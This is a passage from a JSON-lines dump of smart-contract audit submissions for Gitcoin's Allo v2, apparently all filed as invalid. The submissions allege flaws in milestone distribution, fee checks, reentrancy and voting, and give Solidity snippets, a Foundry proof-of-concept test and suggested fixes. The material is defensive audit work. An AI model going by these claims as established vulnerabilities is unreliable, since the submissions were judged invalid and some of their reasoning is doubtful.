RFPSimpleStrategy.sol smart contract allows distribution for rejected milestones.\n\n## Vulnerability Detail\nAfter an approved recipient submits his milestone data, the milestone can be rejected by the pool managers. The [distribute function](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450), however, allows distributing to the recipient even if his milestone is rejected. \n\n## Impact\nIncorrect distribution of funds.\n\n## Code Snippet\n```jsx\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nCheck if the milestone is rejected and revert if it is.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/333.md"}} +{"title":"For QV strategies, it is possible to frontrun distribution with votes allocation in the same block if the timestamp of distribution equals to allocationEndTime","severity":"info","body":"Suave Peanut Panda\n\nmedium\n\n# For QV strategies, it is possible to frontrun distribution with votes allocation in the same block if the timestamp of distribution equals to allocationEndTime\nBoth modifiers `_checkOnlyAfterAllocation()` and `_checkOnlyActiveAllocation()` return true for `block.timestamp == allocationEndTime`. If the distribution is to happen at timestamp of the `allocationEndTime`, an allocator can allocate his votes in favor of one or other recipient with a knowledge of the end result by frontrunning the distribution.\n## Vulnerability Detail\nAs QV can be used for many things that involve decision-making procedures (such as members of a dao voting for proposals on fund allocation to a specific project, etc), it is essential to maintain the fairness of voting for all participants. However, the possibility to vote in the same block in which distribution happens may not be obvious to all voters. A tech-savvy allocator, on the other side, can take advantage of this flaw and put the fairness of quadratic voting in question.\n## Impact\nThe fairness of QV might be put in question.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L318-L322\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L326-L328\n## Tool used\n\nManual Review\n\n## Recommendation\nThe `_checkOnlyAfterAllocation()` should revert when `block.timestamp <= allocationEndTime`:\n```solidity\n function _checkOnlyAfterAllocation() internal view virtual {\n if (block.timestamp <= allocationEndTime) revert ALLOCATION_NOT_ENDED();\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/331.md"}} +{"title":"List of issues with not much impact but better to be fixed","severity":"info","body":"Silly Carob Opossum\n\nmedium\n\n# List of issues with not much impact but better to be fixed\n\n1. To create pool a fee more than the base value needs to be paid\n2. Pool with `QVSimpleStrategy` can't be funded with native token.\n3. `_getPayout` function in `DonationVotingMerkleDistributionBaseStrategy` contract returns invalid payout summary.\n\n## Vulnerability Detail\n\n1. If `msg.value` passed to the `_createPool` function is equal to the base fee, the call will fail due to an invalid condition. The condition checks whether `msg.value` is greater than or equal to `baseFee`.\n\n```solidity\nif (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n}\n```\n\n2. Neither `QVBaseStrategy` contract nor inherited from it `QVSimpleStrategy` contract implements `receive` function. All transfers of native token to strategy address will fail.\n\n3. `_getPayout` function validates a distribution.\n\n```solidity\n// Validate the distribution\nif (_validateDistribution(index, recipientId, recipientAddress, amount, merkleProof)) {\n // Return a 'PayoutSummary' with the 'recipientAddress' and 'amount'\n return PayoutSummary(recipientAddress, amount);\n}\n\n// If the distribution is not valid, return a payout summary with the amount set to zero\nreturn PayoutSummary(recipientAddress, 0);\n```\n\n`_validateDistribution` function returns `false` if distribution has been completed.\n\n```solidity\nif (_hasBeenDistributed(_index)) {\n return false;\n}\n```\n\nWhen recipient receives the funds, payout summary will have zero amount.\n\n## Impact\n\n1. May lead to errors and additional checks on frontend side.\n2. If pool uses `QVSimpleStrategy` with native token, distribution will be impossible. May have a higher impact if found out after registration and allocation are completed.\n3. Incorrect data interpretation.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/qv-simple/QVSimpleStrategy.sol\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-base/DonationVotingMerkleDistributionBaseStrategy.sol#L682-L736\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nFix issues","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/330.md"}} +{"title":"The `SafeTransferLib.safeTransferETH()` calls can be gas griefed","severity":"info","body":"Powerful Shadow Sloth\n\nmedium\n\n# The `SafeTransferLib.safeTransferETH()` calls can be gas griefed\n\n[The comments above the `safeTransferETH()`](https://github.com/Vectorized/solady/blob/4ab2da16ff2ea34c7f078c24a079e1e248d460d4/src/utils/SafeTransferLib.sol#L46-L50) in the version Solady imported say\n\n```solidity\n /// @dev Sends `amount` (in wei) ETH to `to`.\n /// Reverts upon failure.\n ///\n /// Note: This implementation does NOT protect against gas griefing.\n /// Please use `forceSafeTransferETH` for gas griefing protection.\n```\n\n## Vulnerability Detail\n\nA malicious actor can construct a contract to use up a large amount of gas during the transfer, taking up more of the Allo contract or msg.sender's balance than expected.\n\n## Impact\n\nMedium\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse Solady's [`forceSafeTransferETH()`](https://github.com/Vectorized/solady/blob/4ab2da16ff2ea34c7f078c24a079e1e248d460d4/src/utils/SafeTransferLib.sol#L72) as suggested by the comment above `safeTransferETH()`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/327.md"}} +{"title":"Missing `if` statement on `registryAnchor != address(0)`","severity":"info","body":"Acrobatic Parchment Koala\n\nmedium\n\n# Missing `if` statement on `registryAnchor != address(0)`\nThe code contains a missing `if` tatement to validate the `registryAnchor` address before its usage.\n## Vulnerability Detail\nThe code lacks an `if` statement to check the validity of the `registryAnchor` address before assigning it to `recipientId`.\n## Impact\nThe absence of this validation can result in unexpected behaviour or errors if `registryAnchor`is uninitialized or set to an invalid address.\n## Code Snippet\n[https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L339](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L339)\n## Tool used\nManual Review\n## Recommendation\nIt is recommended to include an `if` statement to validate the `registryAnchor` address before using it. This will help prevent potential issues and ensure proper address handling in the code.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/326.md"}} +{"title":"Native tokens can get stuck in `QVBaseStrategy` and `QVSimpleStrategy`","severity":"info","body":"Powerful Shadow Sloth\n\nmedium\n\n# Native tokens can get stuck in `QVBaseStrategy` and `QVSimpleStrategy`\n\nThe [`_transferAmount()`](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/libraries/Transfer.sol#L87) in `Transfer` does not check that the msg.value is equal to the `_amount` being transferred. This means that any msg.value sent greater than the `_amount` will stay as a balance in the contract inheriting from `Transfer`.\n\n## Vulnerability Detail\n\n`QVBaseStrategy`'s [`_distribute()`](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L436) calls this [`_transferAmount()`](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/strategies/qv-base/QVBaseStrategy.sol#L456C23-L456C23) and also does not contain a check the the msg.value equals the amount. This means that if a poolManager were to send a msg.value > the amount during a native token transfer, there will be an excess of the native token in the contract.\n\nThere is no `withdraw()` or `recoverFunds()` function in the `QVBaseStrategy` or `QVSimpleStrategy` strategy, which means the funds will be stuck in the contract until they're self-destructed.\n\n## Impact\n\nMedium\n\n## Code Snippet\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd `withdraw()` or `recoverFunds()` functions to `QVBaseStrategy` or add a check that msg.value == the amount in [`_transferAmount()`](https://github.com/allo-protocol/allo-v2/blob/851571c27df5c16f6586ece2a1cb6fd0acf04ec9/contracts/core/libraries/Transfer.sol#L87)","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/324.md"}} +{"title":"Allo contract's balance can be drained because of incorrect checks","severity":"info","body":"Mysterious Lava Lynx\n\nmedium\n\n# Allo contract's balance can be drained because of incorrect checks\n\nAs you can see by the comments, they explain that if the token is NATIVE then baseFee + _amount should be >= than msg.value. And if the token is not native then baseFee should be >= than msg.value. All that is stated by the comments, but what the code actually does is that if these conditions are met, it will revert\n\n\n## Vulnerability Detail\n\n```solidity\n// To prevent paying the baseFee from the Allo contract's balance\n// If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n// If _token is not NATIVE, then baseFee should be >= than msg.value.\n```\nNow look at the actual check:\n\n```solidity\nif ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n}\n```\n\n\n## Impact\n\nSince the checks above are used in order to not take any additional funds from the Allo balance, they are not working correctly which an attacker can use as his advantage to drain funds from the protocol.\n\nAlso user which follow the comments and actually meet the correct criteria in order to correctly pay fees to the pool, their tx will always revert.\n\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L470C13-L475C14\n\n## Tool used\n\nManual Review\n\n## Recommendation\nCorrect the check based on the comment above it","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/323.md"}} +{"title":"fundPool could be reentered before state is updated, allowing double deposits.","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# fundPool could be reentered before state is updated, allowing double deposits.\nThere is a reentrancy vulnerability in the fundPool function where it could be reentered before state is updated, allowing double deposits.\n## Vulnerability Detail\nIt first transfers tokens to the strategy, then calls the external strategy contract to update state.\nHowever, a malicious strategy could call back into fundPool() before its state is updated, duplicating the deposit.\n\nThe external call to the strategy to increase the pool amount happens before the state is updated.\nThis allows the following attack:\n1. Attacker calls fundPool with 10 tokens\n2. fundPool transfers 10 tokens\n3. Strategy callback function calls back into fundPool with 10 more tokens\n4. fundPool allows this since nonReentrant only prevents reentry in the same call frame\n5. Attacker has now deposited 20 tokens instead of 10\n\n## Impact\nLoss of funds due to double/multiple deposits\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516-L517 \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L344\n## Tool used\n\nManual Review\n\n## Recommendation\nThe state should be updated before any external calls","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/321.md"}} +{"title":"Rejecting and submitting milestones is useless","severity":"info","body":"Mysterious Lava Lynx\n\nmedium\n\n# Rejecting and submitting milestones is useless\n\nIn `RFPSimpleStrategy` a pool manager can reject a milestone and an accepted recipient can submit a milestone.\n\n## Vulnerability Detail\n\nThe problem is that the `_distribute` function which is supposed to distribute funds based on the current `upcomingMilestone`, the function doesn't have any checks if a milestone has been rejected or even submitted.\n\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n //@audit this doesn't check statues of milestones, it only checks if milestones have been set\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n \n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n\n```\n\n## Impact\n\nMilestones can be distributed anytime no matter their status.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd check to see if a milestone has been submitted/rejected","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/319.md"}} +{"title":"Updating the treasury could accidentally lock genuine funds","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# Updating the treasury could accidentally lock genuine funds\nUpdating the treasury address could potentially lock funds if not done carefully\n## Vulnerability Detail\nThe key parts of the Allo contract related to this are:\n1. The treasury variable stores the treasury address: [Link 1](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L60)\n2. The _updateTreasury internal function updates this variable: [Link 2](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L564-L567 )\n3. The _fundPool internal function sends fees to the treasury address: [Link 3](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L513)\nSo if _updateTreasury is called to change the treasury, any funds that were sent to the old treasury address would be locked there, with no way to recover them.\nFor example:\nA. Treasury address is set to 0x1234\nB. _fundPool sends 100 DAI fees to 0x1234\nC. _updateTreasury is called, changing treasury to 0x5678\nD. The 100 DAI at 0x1234 is now locked\nThis could happen by mistake if the treasury address is changed without coordinating to drain the old treasury address first.\n\n## Impact\n- Loss of legitimate funds sent to old treasury\n- No way to recover them if Treasury A private key is lost\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L60\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L564-L567 \nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L513\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502\n\n## Tool used\n\nManual Review\n\n## Recommendation \n- Store fee balances per treasury address\n- When changing treasury, withdraw any existing fee balance to the owner address\n- Only set new treasury after existing balance is drained","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/318.md"}} +{"title":"Accepted recipient can always change status of milestone even if the milestone status is rejected","severity":"info","body":"Mysterious Lava Lynx\n\nmedium\n\n# Accepted recipient can always change status of milestone even if the milestone status is rejected\n\nIn `RFPSimpleStrategy` an accepted recipient can submit upcoming milestones with `submitUpcomingMilestone`, which sets the current `upcomingMilestone`'s metadata and status\n\n```solidity\nfunction submitUpcomingMilestone(Metadata calldata _metadata) external {\n // Check if the 'msg.sender' is the 'acceptedRecipientId' and is a member of the 'Profile'\n if (acceptedRecipientId != msg.sender && !_isProfileMember(acceptedRecipientId, msg.sender)) {\n revert UNAUTHORIZED();\n }\n\n // Check if the upcoming milestone is in fact upcoming\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n // Get the milestone and update the metadata and status\n Milestone storage milestone = milestones[upcomingMilestone];\n milestone.metadata = _metadata;\n\n // Set the milestone status to 'Pending' to indicate that the milestone is submitted\n milestone.milestoneStatus = Status.Pending;\n\n // Emit event for the milestone\n emit MilstoneSubmitted(upcomingMilestone);\n }\n```\n\n## Vulnerability Detail\n\nThe problem is that a pool manager can reject a milestone, but the accepted recipient can resubmit it and set it's status to pending again, because there are no checks on the `submitUpcomingMilestone` to check if a milestone has been rejected or not.\n\n## Impact\n\nPool manager is powerless in terms of milestone rejecting, the accepted recipient can always set status to milestone as pending and fulfil it\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L253-L271\n\n## Tool used\n\nManual Review\n\n## Recommendation\nIn `submitUpcomingMilestone` make it that an `upcomingMilestone`'s status can be set once or check if it has been rejected and revert","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/317.md"}} +{"title":"RFPSimpleStrategy.sol#_distribute() It is possible to distribute to a recipient who is not accepted","severity":"info","body":"Suave Orchid Crab\n\nmedium\n\n# RFPSimpleStrategy.sol#_distribute() It is possible to distribute to a recipient who is not accepted\nIt is possible to distribute to a recipient who is not accepted\n\n## Vulnerability Detail\nDistribution should only happen to accepted recipients which is assumed that will happen in the _allocation function where the recipients are accepted. However, it is possible to execute _distribute before _allocation and distribute the amount to the recipient that has not yet been accepted.\n\n## Impact\nDistribute to the recipient who has not yet been accepted\n\n## Code Snippet\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n## Tool used\n\nManual Review\n\n## Recommendation\nCheck that the recipient is accepted\n```solidity\nif (recipient.recipientStatus != Status.Accepted) revert RECIPIENT_ERROR();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/316.md"}} +{"title":"Updating the fee while a pool is mid-allocation can cause a mismatch in expected vs actual fees.","severity":"info","body":"Kind Velvet Mole\n\nhigh\n\n# Updating the fee while a pool is mid-allocation can cause a mismatch in expected vs actual fees.\nThere can be a mismatch between the expected fee revenue and actual fee revenue collected by the treasury.\n## Vulnerability Detail\n1. The percentFee variable stores the fee percentage that is deducted from each pool when funded. This is set globally for all pools.\n2. When a new pool is created and funded via _fundPool(), it calculates the fee based on the current percentFee: [Link](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L514)\n3. This feeAmount is sent to the treasury. The remaining amountAfterFee is sent to the pool's strategy contract.\n4. Now let's say the percentFee is updated via updatePercentFee() while the pool is mid-allocation.\n5. The next time new funds are added to the pool via _fundPool(), it will calculate the fee based on the new percentFee.\n6. This means the actual fee collected will be different than what was expected based on the old percentFee when the pool was created.\n\nEssentially, the fee logic needs to account for in-flight pools that were created under a different fee scheme. Updating the global fee cannot retroactively change already deducted fees for existing pools.\n\nNow let's look at a scenario:\n\n1. Allo is initialized with 10% percentFee\n2. Alice creates Pool A\n3. Bob funds Pool A with 1000 DAI\n * 10% of 1000 DAI = 100 DAI is sent to treasury as fee\n * 900 DAI sent to Pool A strategy\n4. Alice expects all future funding to deduct 10% fee based on initial percentFee\n5. Owner updates percentFee to 5%\n6. Carol funds Pool A with 1000 DAI\n * 5% of 1000 DAI = 50 DAI fee (based on new 5% percentFee)\n * 950 DAI sent to Pool A strategy\n7. Alice receives less funds than expected. The fee charged was lower than the initial 10% when pool was created.\n\nThe key parts of the code are:\n1. percentFee variable that stores the global fee percentage: [Link 1](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L48)\n2. _fundPool() calculates fee based on current percentFee: [Link 2](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L514)\n3. updatePercentFee() allows changing the percentFee: [Link 3](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L227-L229)\n\n\n\n\n\n\n## Impact\nThis can result in less funds being allocated than expected\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L514\n## Tool used\n\nManual Review\n\n## Recommendation\nā€¢ Disallow updating the fee when there are active pools.\nā€¢ Lock the fee percentage when a pool is created, so it uses that initial percentage for its lifetime.\nā€¢ Emit an event any time the fee is updated that pool managers can listen for.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/313.md"}} +{"title":"RFPCommiteeStrategy:_allocate allows to vote for arbitrary, unregistered recipient.","severity":"info","body":"Proud Honey Aardvark\n\nmedium\n\n# RFPCommiteeStrategy:_allocate allows to vote for arbitrary, unregistered recipient.\nWhether by intent or accident pool-managers are able to vote on an arbitrary, unregistered recipient. \n## Vulnerability Detail\nIn the function `_allocate()` the variable `acceptedRecipientId` is set once `votes[recipientId]` has reached the `voteThreshold`. However, at no point it is ensured that the provided `recipientId` is actually a registered recipient.\n## Impact\nThe impact of this bug is mitigated by the fact that `voteThreshold` pool-managers would have to vote for the same `recipientId`.\n\nHowever the impact is amplified because of bug #1 . If the `voteThreshold` were to be reached, whether by intent or accident, in the next step the unregistered recipient could set a new milestone, using bug #1 and then would be eligible for the payout for the current milestone when `distribute()` is called.\n\n## Code Snippet\nThe related code can be found in [RFPCommitteeStrategy.sol#L102-L138](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L102-L138).\n\nThe following code-snippet contains a foundry test to verify this issue:\nIn the test scenario the `voteThreshold == 2`. Hence, a second pool manager is added and vote is executed twice.\n```solidity\n function test_allocate_RECIPIENT_BUG() public {\n // add pool manager\n vm.startPrank(pool_admin());\n allo().addPoolManager(strategy.getPoolId(), pool_manager1());\n vm.stopPrank();\n \n \n address recipientId = __register_recipient();\n __setMilestones();\n assertEq(strategy.acceptedRecipientId(), address(0));\n //vote x2 to reach threshold\n vm.prank(address(allo()));\n strategy.allocate(abi.encode(randomAddress()), address(pool_admin()));\n vm.prank(address(allo()));\n strategy.allocate(abi.encode(randomAddress()), address(pool_manager1()));\n\n assertEq(strategy.acceptedRecipientId(), randomAddress());\n }\n```\n\n## Tool used\n\nManual Review and Foundry\n\n## Recommendation\nAdd a check in [RFPCommitteeStrategy.sol#L116](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-committee/RFPCommitteeStrategy.sol#L116) that the provided `recipientId` is a registered recipient.\n```solidity\nif (_recipients[recipientId].recipientStatus != Status.Pending) revert INVALID();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/310.md"}} +{"title":"RFPSimpleStrategy.sol#_distribute() Milestone status is not checked","severity":"info","body":"Suave Orchid Crab\n\nmedium\n\n# RFPSimpleStrategy.sol#_distribute() Milestone status is not checked\nMilestone status is not checked on distribution\n\n## Vulnerability Detail\nIn _distribute function milestones are distributed to the recipient. Only the milestones with pending status should be distributed, however, there is no check for the milestone status. The problem here is that even though a milestone was rejected, it can be distributed without any problem.\n\n## Impact\nA rejected milestone can be distributed\n\n## Code Snippet\n```solidity\n function _distribute(address[] memory, bytes memory, address _sender)\n internal\n virtual\n override\n onlyInactivePool\n onlyPoolManager(_sender)\n {\n // check to make sure there is a pending milestone\n if (upcomingMilestone >= milestones.length) revert INVALID_MILESTONE();\n\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n Milestone storage milestone = milestones[upcomingMilestone];\n Recipient memory recipient = _recipients[acceptedRecipientId];\n\n\n // make sure has enough funds to distribute based on the proposal bid\n if (recipient.proposalBid > poolAmount) revert NOT_ENOUGH_FUNDS();\n\n\n // Calculate the amount to be distributed for the milestone\n uint256 amount = (recipient.proposalBid * milestone.amountPercentage) / 1e18;\n\n\n // Get the pool, subtract the amount and transfer to the recipient\n poolAmount -= amount;\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n\n // Set the milestone status to 'Accepted'\n milestone.milestoneStatus = Status.Accepted;\n\n\n // Increment the upcoming milestone\n upcomingMilestone++;\n\n\n // Emit events for the milestone and the distribution\n emit MilestoneStatusChanged(upcomingMilestone, Status.Accepted);\n emit Distributed(acceptedRecipientId, recipient.recipientAddress, amount, _sender);\n }\n```\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L417-L450\n## Tool used\n\nManual Review\n\n## Recommendation\nCheck that the milestone status is pending\n```solidity\nif (milestone.milestoneStatus != Status.Pending) revert INVALID_MILESTONE();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/309.md"}} +{"title":"Rebasing tokens' rewards remain locked in strategy contracts","severity":"info","body":"Urban Strawberry Monkey\n\nmedium\n\n# Rebasing tokens' rewards remain locked in strategy contracts\nRebasing tokens, like Aave's aTokens, gradually increase the balance of each holder over time, thanks to added interest or airdrops. In Allo's built-in strategies, the way accounting is done is static, which means that any accrued interest or newly received tokens from airdrops end up locked in the strategy contract.\n\nAllo's built-in strategies lack a mechanism to account for and retrieve these tokens and thus they would remain stuck forever in the strategy contract.\n\n## Vulnerability Detail\nFunding a pool via `Allo#fundPool()` relies on the `_fundPool()` internal function which updates `_strategy`'s balance via `increasePoolAmount(amountAfterFee)`:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L517\n\nAll built-in strategies extend from `BaseStrategy`. Here is what the implementation of `BaseStrategy#increasePoolAmount()` looks 